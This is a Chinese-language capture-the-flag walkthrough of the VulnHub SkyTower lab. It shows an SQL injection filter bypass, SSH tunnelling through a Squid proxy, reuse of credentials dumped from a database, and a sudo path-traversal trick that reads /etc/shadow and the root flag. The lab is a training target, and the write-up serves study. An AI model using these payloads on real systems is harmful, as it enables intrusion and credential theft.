靶机 192.168.1.144
kali 192.168.1.128
vulnhub上该靶机为.vbox文件，需将其导入VMBox中再导出为.ova文件导入VMWare使用，注意导入成功后查看一下网络设置。
信息收集 nmap先扫一下
sudo nmap --min-rate 10000 -p- 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:13 CST
Nmap scan report for bogon (192.168.1.144)
Host is up (0.00067s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
3128/tcp open squid-http
sudo nmap -sT -sV -O -p22,80,3128 192.168.1.144
[sudo] wyh 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:13 CST
Nmap scan report for bogon (192.168.1.144)
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.2.22 ((Debian))
3128/tcp open http-proxy Squid http proxy 3.1.20
MAC Address: 00:0C:29:F3:01:01 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
sudo nmap -sU -p22,80,3128 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:14 CST
Nmap scan report for bogon (192.168.1.144)
Host is up (0.00034s latency).
PORT STATE SERVICE
22/udp closed ssh
80/udp closed http
3128/udp closed ndl-aas
3128开启了Squid 3.1.20网页代理服务，可能存在旧版本漏洞；
访问web端是一个登录页面，也可能存在web漏洞，测试了下发现存在sql注入，并有错误回显，
burp转包甩给sqlmap，发现跑不出数据，应该是有过滤，尝试手工测一下。
试了下发现简单的双写就能绕过去
email=admin'oorr 1>0 #&password=123
返回信息中有账号的密码，尝试ssh，发现无法登录，可能需要代理跳转
可以使用proxytunnel进行跳转，
proxytunnel -a 6666 -p 192.168.1.144:3128 -d 192.168.1.144:22
在本地监听6666端口;当有连接到本地6666端口的请求时;proxytunnel会将请求通过192.168.1.144:3128这个代理转发;最终转发至远程目标192.168.1.144的22端口。
实现通过代理隧道连接远程ssh服务器。
proxytunnel是本地端口转发，主要用于转发单个的TCP端口
然后连接ssh
ssh john@127.0.0.1 -p 6666
发现连接成功后自动退出，百度之后发现虽然自动退出，但是登录成功时还是可以执行一些命令
ssh john@127.0.0.1 -p 6666 id
john@127.0.0.1's password:
uid=1000(john) gid=1000(john) groups=1000(john)
ssh john@127.0.0.1 -p 6666 /bin/bash
john@127.0.0.1's password:
id
uid=1000(john) gid=1000(john) groups=1000(john)
拿到了非交互式命令行，怎么切换到交互式命令行呢，或者将ssh相关设置不自动退出。
bash 在每次启动时都会加载 .bashrc 文件的内容。每个用户的 home 目录都有这个 shell 脚本。它用来存储并加载你的终端配置和环境变量。
cat .bashrc
发现最后一行有exit函数，删除这个函数
sed -i '$d' .bashrc
重新连接ssh，登录成功
ssh john@127.0.0.1 -p 6666
john@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct 8 11:09:55 2023 from 192.168.1.144
Funds have been withdrawn
john@SkyTower:~$
用msf查了一下内核，没找到可以用的，尝试用数据库提，进行www目录，找配置文件，查看相关信息
在login.php中发现
john@SkyTower:/var/www$ cat login.php
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
登录 root；root
-h 指定主机，-u 指定用户，-p 表示需要密码
john@SkyTower:/var/www$ mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 17793
Server version: 5.5.35-0+wheezy1 (Debian)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
查看数据库中信息
john@skytech.com | hereisjohn |
sara@skytech.com | ihatethisjob |
william@skytech.com | senseable
发现三个账户密码 分别登录web页面发现ssh密码和web密码一样
ssh sara@127.0.0.1 -p 6666 /bin/bash
sara@127.0.0.1's password:
id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
重复之前的操作，删除.bashrc最后一行的exit函数
sed -i '$d' .bashrc
重新ssh连接
ssh sara@127.0.0.1 -p 6666
sara@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 11 06:05:12 2023 from 192.168.1.144
Funds have been withdrawn
sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
发现可以再accounts文件夹下执行root命令
sara@SkyTower:~$ sudo cat /accounts/../etc/shadow
直接查看shadow，SHA512算法加盐加密，好像用john破解不出，到处找文件，最后在root文件夹下的flag.txt找到root密码
sara@SkyTower:~$ sudo cat /accounts/../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
sara@SkyTower:~$ su root
Password:
root@SkyTower:/home/sara# id
uid=0(root) gid=0(root) groups=0(root)
root@SkyTower:/home/sara#